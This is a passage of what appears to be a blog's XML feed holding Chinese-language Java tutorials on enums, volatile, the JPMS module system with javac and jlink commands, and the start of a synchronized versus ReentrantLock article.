基本方法</span></span><br><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> s.name();           <span class="comment">// &quot;ACTIVE&quot;</span></span><br><span class="line"><span class="type">int</span> <span class="variable">ordinal</span> <span class="operator">=</span> s.ordinal();        <span class="comment">// 0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 类方法</span></span><br><span class="line">Status[] all = Status.values();   <span class="comment">// 所有枚举值</span></span><br><span class="line"><span class="type">Status</span> <span class="variable">parsed</span> <span class="operator">=</span> Status.valueOf(<span class="string">&quot;ACTIVE&quot;</span>);  <span class="comment">// 从字符串解析</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 比较</span></span><br><span class="line"><span class="type">boolean</span> <span class="variable">isActive</span> <span class="operator">=</span> s == Status.ACTIVE;  <span class="comment">// 可以用==比较</span></span><br></pre></td></tr></table></figure><h2 id="枚举实现单例模式"><a href="#枚举实现单例模式" class="headerlink" title="枚举实现单例模式"></a>枚举实现单例模式</h2><p>枚举是实现单例的最佳方式：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">Singleton</span> &#123;</span><br><span class="line">    INSTANCE;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> String config;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doSomething</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;Doing something...&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getConfig</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> config;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setConfig</span><span class="params">(String config)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.config = config;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line">Singleton.INSTANCE.doSomething();</span><br></pre></td></tr></table></figure><p><strong>优势</strong>：</p><ul><li>线程安全（由 JVM 保证）</li><li>防止反射攻击</li><li>防止反序列化创建新实例</li></ul><h2 id="策略枚举模式"><a href="#策略枚举模式" class="headerlink" title="策略枚举模式"></a>策略枚举模式</h2><p>用枚举实现策略模式：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">Calculator</span> &#123;</span><br><span class="line">    ADD &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="type">double</span> <span class="title function_">apply</span><span class="params">(<span class="type">double</span> a, <span class="type">double</span> b)</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> a + b;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    SUBTRACT &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="type">double</span> <span class="title function_">apply</span><span class="params">(<span class="type">double</span> a, <span class="type">double</span> b)</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> a - b;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    MULTIPLY &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="type">double</span> <span class="title function_">apply</span><span class="params">(<span class="type">double</span> a, <span class="type">double</span> b)</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> a * b;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    DIVIDE &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="type">double</span> <span class="title function_">apply</span><span class="params">(<span class="type">double</span> a, <span class="type">double</span> b)</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (b == <span class="number">0</span>) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ArithmeticException</span>(<span class="string">&quot;除数不能为0&quot;</span>);</span><br><span class="line">            <span class="keyword">return</span> a / b;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">abstract</span> <span class="type">double</span> <span class="title function_">apply</span><span class="params">(<span class="type">double</span> a, <span class="type">double</span> b)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="type">double</span> <span class="variable">result</span> <span class="operator">=</span> Calculator.ADD.apply(<span class="number">10</span>, <span class="number">5</span>);  <span class="comment">// 15.0</span></span><br></pre></td></tr></table></figure><h2 id="状态机实现"><a href="#状态机实现" class="headerlink" title="状态机实现"></a>状态机实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">OrderState</span> &#123;</span><br><span class="line">    CREATED &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">canTransitionTo</span><span class="params">(OrderState newState)</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> newState == PAID || newState == CANCELLED;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    PAID &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">canTransitionTo</span><span class="params">(OrderState newState)</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> newState == SHIPPED || newState == REFUNDING;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    SHIPPED &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">canTransitionTo</span><span class="params">(OrderState newState)</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> newState == COMPLETED || newState == REFUNDING;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    COMPLETED &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">canTransitionTo</span><span class="params">(OrderState newState)</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> newState == REFUNDING;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    CANCELLED,</span><br><span class="line">    REFUNDING,</span><br><span class="line">    REFUNDED;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">canTransitionTo</span><span class="params">(OrderState newState)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;  <span class="comment">// 默认不允许转换</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 状态转换检查</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transition</span><span class="params">(OrderState from, OrderState to)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (!from.canTransitionTo(to)) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalStateException</span>(</span><br><span class="line">            <span class="string">&quot;不能从 &quot;</span> + from + <span class="string">&quot; 转换到 &quot;</span> + to);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 执行转换</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="接口实现"><a href="#接口实现" class="headerlink" title="接口实现"></a>接口实现</h2><p>枚举可以实现接口：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">Operation</span> &#123;</span><br><span class="line">    <span class="type">double</span> <span class="title function_">apply</span><span class="params">(<span class="type">double</span> a, <span class="type">double</span> b)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">BasicOperation</span> <span class="keyword">implements</span> <span class="title class_">Operation</span> &#123;</span><br><span class="line">    PLUS(<span class="string">&quot;+&quot;</span>) &#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="type">double</span> <span class="title function_">apply</span><span class="params">(<span class="type">double</span> a, <span class="type">double</span> b)</span> &#123; <span class="keyword">return</span> a + b; &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    MINUS(<span class="string">&quot;-&quot;</span>) &#123;</span><br><span class="line">        <span class="keyword">public</span> <span class="type">double</span> <span class="title function_">apply</span><span class="params">(<span class="type">double</span> a, <span class="type">double</span> b)</span> &#123; <span class="keyword">return</span> a - b; &#125;</span><br><span class="line">    &#125;;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String symbol;</span><br><span class="line">    </span><br><span class="line">    BasicOperation(String symbol) &#123;</span><br><span class="line">        <span class="built_in">this</span>.symbol = symbol;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">toString</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> symbol;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实际业务场景"><a href="#实际业务场景" class="headerlink" title="实际业务场景"></a>实际业务场景</h2><h3 id="支付渠道枚举"><a href="#支付渠道枚举" class="headerlink" title="支付渠道枚举"></a>支付渠道枚举</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">PaymentChannel</span> &#123;</span><br><span class="line">    ALIPAY(<span class="string">&quot;支付宝&quot;</span>, <span class="string">&quot;https://alipay.com/gateway&quot;</span>),</span><br><span class="line">    WECHAT(<span class="string">&quot;微信支付&quot;</span>, <span class="string">&quot;https://api.mch.weixin.qq.com&quot;</span>),</span><br><span class="line">    UNIONPAY(<span class="string">&quot;银联&quot;</span>, <span class="string">&quot;https://gateway.95516.com&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String name;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String gatewayUrl;</span><br><span class="line">    </span><br><span class="line">    PaymentChannel(String name, String gatewayUrl) &#123;</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">        <span class="built_in">this</span>.gatewayUrl = gatewayUrl;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// getter...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="与数据库映射"><a href="#与数据库映射" class="headerlink" title="与数据库映射"></a>与数据库映射</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// JPA 转换器</span></span><br><span class="line"><span class="meta">@Converter(autoApply = true)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">StatusConverter</span> <span class="keyword">implements</span> <span class="title class_">AttributeConverter</span>&lt;Status, Integer&gt; &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Integer <span class="title function_">convertToDatabaseColumn</span><span class="params">(Status status)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> status != <span class="literal">null</span> ? status.getCode() : <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Status <span class="title function_">convertToEntityAttribute</span><span class="params">(Integer code)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> code != <span class="literal">null</span> ? Status.fromCode(code) : <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><ol><li><strong>枚举名使用大写</strong>：这是 Java 的命名约定</li><li><strong>不要依赖 ordinal()</strong>：新增枚举值可能导致顺序变化</li><li><strong>为枚举添加 fromXxx 工厂方法</strong>：便于从数据库/前端转换</li><li><strong>慎用复杂枚举</strong>：如果枚举逻辑过于复杂，考虑使用策略类</li><li><strong>序列化安全</strong>：枚举天然支持序列化，且保证单例</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 好的做法：显式定义code，不依赖ordinal</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">Priority</span> &#123;</span><br><span class="line">    LOW(<span class="number">1</span>),</span><br><span class="line">    MEDIUM(<span class="number">2</span>),</span><br><span class="line">    HIGH(<span class="number">3</span>),</span><br><span class="line">    URGENT(<span class="number">4</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">int</span> code;</span><br><span class="line">    Priority(<span class="type">int</span> code) &#123; <span class="built_in">this</span>.code = code; &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getCode</span><span class="params">()</span> &#123; <span class="keyword">return</span> code; &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>枚举是 Java 中强大的类型安全常量机制，它：</p><ul><li>保证单例性（线程安全、反射安全、序列化安全）</li><li>支持属性和方法，功能不亚于普通类</li><li>是实现状态机和策略模式的优雅方案</li><li>在业务建模中应优先考虑使用</li></ul><p>善用枚举可以让代码更加类型安全、可读性更强。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>volatile 能保证什么不能保证什么</title>
      <link href="//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/"/>
      <url>//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="volatile-能保证什么不能保证什么"><a href="#volatile-能保证什么不能保证什么" class="headerlink" title="volatile 能保证什么不能保证什么"></a>volatile 能保证什么不能保证什么</h1><p>volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>volatile 保证可见性：一个线程的修改对其他线程立即可见</p></li><li><p>volatile 禁止指令重排：确保指令按照代码顺序执行</p></li><li><p>volatile 不保证原子性：复合操作仍然需要同步</p></li><li><p>volatile 适合作为状态标志，不适合作为计数器</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java模块化系统JPMS入门</title>
      <link href="//java-mo-kuai-hua-xi-tong-jpms-ru-men/"/>
      <url>//java-mo-kuai-hua-xi-tong-jpms-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="Java模块化系统JPMS入门"><a href="#Java模块化系统JPMS入门" class="headerlink" title="Java模块化系统JPMS入门"></a>Java模块化系统JPMS入门</h1><p>Java 9 引入了 Java Platform Module System（JPMS），这是 Java 语言发展史上的重大变革。本文介绍模块化的核心概念和基本用法。</p><h2 id="为什么需要模块化"><a href="#为什么需要模块化" class="headerlink" title="为什么需要模块化"></a>为什么需要模块化</h2><ol><li><strong>更小的运行时</strong>：只打包需要的模块，构建精简 JRE</li><li><strong>强封装性</strong>：明确控制哪些包可以对外暴露</li><li><strong>可靠的配置</strong>：编译期检查模块依赖</li><li><strong>改进安全性</strong>：内部实现细节不再暴露</li></ol><h2 id="模块基础"><a href="#模块基础" class="headerlink" title="模块基础"></a>模块基础</h2><h3 id="module-info-java"><a href="#module-info-java" class="headerlink" title="module-info.java"></a>module-info.java</h3><p>每个模块根目录下需要声明模块描述符：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">module</span> com.example.app &#123;</span><br><span class="line">    <span class="comment">// 依赖其他模块</span></span><br><span class="line">    <span class="keyword">requires</span> java.base;        <span class="comment">// 默认隐式依赖</span></span><br><span class="line">    <span class="keyword">requires</span> java.sql;</span><br><span class="line">    <span class="keyword">requires</span> com.example.lib;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 导出包（其他模块可访问）</span></span><br><span class="line">    <span class="keyword">exports</span> com.example.app.api;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 开放包（允许反射访问）</span></span><br><span class="line">    opens com.example.app.entity;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 提供服务实现</span></span><br><span class="line">    provides com.example.spi.Logger </span><br><span class="line">        with com.example.app.FileLogger;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 消费服务</span></span><br><span class="line">    uses com.example.spi.Logger;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="核心指令"><a href="#核心指令" class="headerlink" title="核心指令"></a>核心指令</h3><table><thead><tr><th>指令</th><th>说明</th></tr></thead><tbody><tr><td>requires</td><td>声明依赖模块</td></tr><tr><td>requires transitive</td><td>传递依赖</td></tr><tr><td>exports</td><td>导出包</td></tr><tr><td>exports to</td><td>定向导出</td></tr><tr><td>opens</td><td>开放包（反射）</td></tr><tr><td>opens to</td><td>定向开放</td></tr><tr><td>provides with</td><td>提供服务实现</td></tr><tr><td>uses</td><td>消费服务</td></tr></tbody></table><h2 id="模块依赖示例"><a href="#模块依赖示例" class="headerlink" title="模块依赖示例"></a>模块依赖示例</h2><h3 id="库模块"><a href="#库模块" class="headerlink" title="库模块"></a>库模块</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// com.example.lib/module-info.java</span></span><br><span class="line"><span class="keyword">module</span> com.example.lib &#123;</span><br><span class="line">    <span class="keyword">exports</span> com.example.lib.api;      <span class="comment">// 对外暴露API</span></span><br><span class="line">    <span class="keyword">exports</span> com.example.lib.dto;</span><br><span class="line">    </span><br><span class="line">    opens com.example.lib.entity;     <span class="comment">// 允许反射（JPA等框架需要）</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">requires</span> <span class="keyword">static</span> java.compiler;    <span class="comment">// 可选依赖（编译期需要，运行期可选）</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="应用模块"><a href="#应用模块" class="headerlink" title="应用模块"></a>应用模块</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// com.example.app/module-info.java</span></span><br><span class="line"><span class="keyword">module</span> com.example.app &#123;</span><br><span class="line">    <span class="keyword">requires</span> com.example.lib;</span><br><span class="line">    <span class="keyword">requires</span> java.logging;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">exports</span> com.example.app.controller;</span><br><span class="line">    </span><br><span class="line">    opens com.example.app to spring.core;  <span class="comment">// 对Spring开放</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="编译与运行"><a href="#编译与运行" class="headerlink" title="编译与运行"></a>编译与运行</h2><h3 id="编译模块"><a href="#编译模块" class="headerlink" title="编译模块"></a>编译模块</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 编译库模块</span></span><br><span class="line">javac -d out/lib $(find lib -name <span class="string">&quot;*.java&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 编译应用模块，指定模块路径</span></span><br><span class="line">javac --module-path out/lib -d out/app $(find app -name <span class="string">&quot;*.java&quot;</span>)</span><br></pre></td></tr></table></figure><h3 id="运行模块"><a href="#运行模块" class="headerlink" title="运行模块"></a>运行模块</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 运行主模块</span></span><br><span class="line">java --module-path out/lib:out/app -m com.example.app/com.example.app.Main</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看模块列表</span></span><br><span class="line">java --list-modules</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看模块详情</span></span><br><span class="line">java --describe-module java.base</span><br></pre></td></tr></table></figure><h3 id="打包-JMOD"><a href="#打包-JMOD" class="headerlink" title="打包 JMOD"></a>打包 JMOD</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 创建模块化的JAR</span></span><br><span class="line">jar --create --file out/app.jar --main-class com.example.app.Main -C out/app .</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建JMOD（用于jlink）</span></span><br><span class="line">jmod create --class-path out/app out/app.jmod</span><br></pre></td></tr></table></figure><h2 id="自定义运行时镜像"><a href="#自定义运行时镜像" class="headerlink" title="自定义运行时镜像"></a>自定义运行时镜像</h2><p>使用 <code>jlink</code> 创建精简的 JRE：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jlink --module-path <span class="variable">$JAVA_HOME</span>/jmods:out/app \</span><br><span class="line">      --add-modules com.example.app \</span><br><span class="line">      --launcher app=com.example.app/com.example.app.Main \</span><br><span class="line">      --output myapp-runtime</span><br><span class="line"></span><br><span class="line"><span class="comment"># 运行自定义运行时</span></span><br><span class="line">./myapp-runtime/bin/app</span><br></pre></td></tr></table></figure><p><strong>效果</strong>：运行时镜像仅包含必要的模块，体积可从 200MB+ 减少到 50MB 以下。</p><h2 id="未命名模块与自动模块"><a href="#未命名模块与自动模块" class="headerlink" title="未命名模块与自动模块"></a>未命名模块与自动模块</h2><h3 id="未命名模块（Unnamed-Module）"><a href="#未命名模块（Unnamed-Module）" class="headerlink" title="未命名模块（Unnamed Module）"></a>未命名模块（Unnamed Module）</h3><p>类路径（classpath）上的所有类都属于未命名模块：</p><ul><li>可以读取所有模块</li><li>所有模块可以读取它</li><li>用于兼容性过渡</li></ul><h3 id="自动模块（Automatic-Module）"><a href="#自动模块（Automatic-Module）" class="headerlink" title="自动模块（Automatic Module）"></a>自动模块（Automatic Module）</h3><p>将普通 JAR 放在模块路径上，自动成为模块：</p><ul><li>模块名从 JAR 文件名或 <code>Automatic-Module-Name</code> 属性推断</li><li>导出所有包</li><li>依赖所有模块</li></ul><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java --module-path libs:out/app --class-path legacy-lib.jar -m com.example.app</span><br></pre></td></tr></table></figure><h2 id="迁移策略"><a href="#迁移策略" class="headerlink" title="迁移策略"></a>迁移策略</h2><h3 id="自下而上迁移"><a href="#自下而上迁移" class="headerlink" title="自下而上迁移"></a>自下而上迁移</h3><ol><li><strong>从最底层的库开始</strong>模块化</li><li><strong>逐步向上</strong>迁移依赖项目</li><li><strong>顶层应用</strong>最后迁移</li></ol><h3 id="关键步骤"><a href="#关键步骤" class="headerlink" title="关键步骤"></a>关键步骤</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 使用jdeps分析依赖</span></span><br><span class="line">jdeps --recursive --class-path libs app.jar</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 生成模块描述符建议</span></span><br><span class="line">jdeps --generate-module-info out app.jar</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 解决循环依赖</span></span><br><span class="line"><span class="comment"># 通过重构代码或使用服务加载器(ServiceLoader)打破循环</span></span><br></pre></td></tr></table></figure><h2 id="与现有框架集成"><a href="#与现有框架集成" class="headerlink" title="与现有框架集成"></a>与现有框架集成</h2><h3 id="Spring-Boot"><a href="#Spring-Boot" class="headerlink" title="Spring Boot"></a>Spring Boot</h3><p>Spring 5+ 支持 JPMS：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">module</span> com.example.demo &#123;</span><br><span class="line">    <span class="keyword">requires</span> spring.web;</span><br><span class="line">    <span class="keyword">requires</span> spring.boot;</span><br><span class="line">    <span class="keyword">requires</span> spring.boot.autoconfigure;</span><br><span class="line">    </span><br><span class="line">    opens com.example.demo to spring.core, spring.beans, spring.context;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h3><ol><li><strong>反射访问需要 opens</strong>：Hibernate、Jackson 等框架需要反射，需要开放相应包</li><li><strong>资源加载方式变化</strong>：使用 <code>Module.getResourceAsStream()</code></li><li><strong>SPI 变化</strong>：推荐使用 <code>provides/uses</code> 替代 META-INF/services</li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>场景</th><th>建议</th></tr></thead><tbody><tr><td>新建项目</td><td>直接使用模块化</td></tr><tr><td>类库开发</td><td>添加 module-info.java，支持模块化用户</td></tr><tr><td>遗留项目</td><td>先保证在模块路径上可用（自动模块）</td></tr><tr><td>云原生部署</td><td>使用 jlink 构建精简运行时</td></tr></tbody></table><p>模块化是 Java 平台现代化的重要一步，虽然迁移有成本，但长期收益显著：更小的部署包、更清晰的依赖关系、更好的封装性。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>synchronized 和 ReentrantLock 怎么选</title>
      <link href="//synchronized-he-reentrantlock-zen-me-xuan/"/>
      <url>//synchronized-he-reentrantlock-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="synchronized-和-ReentrantLock-怎么选"><a href="#synchronized-和-ReentrantLock-怎么选" class="headerlink" title="synchronized 和 ReentrantLock 怎么选"></a>synchronized 和 ReentrantLock 怎么选</h1><p>synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" 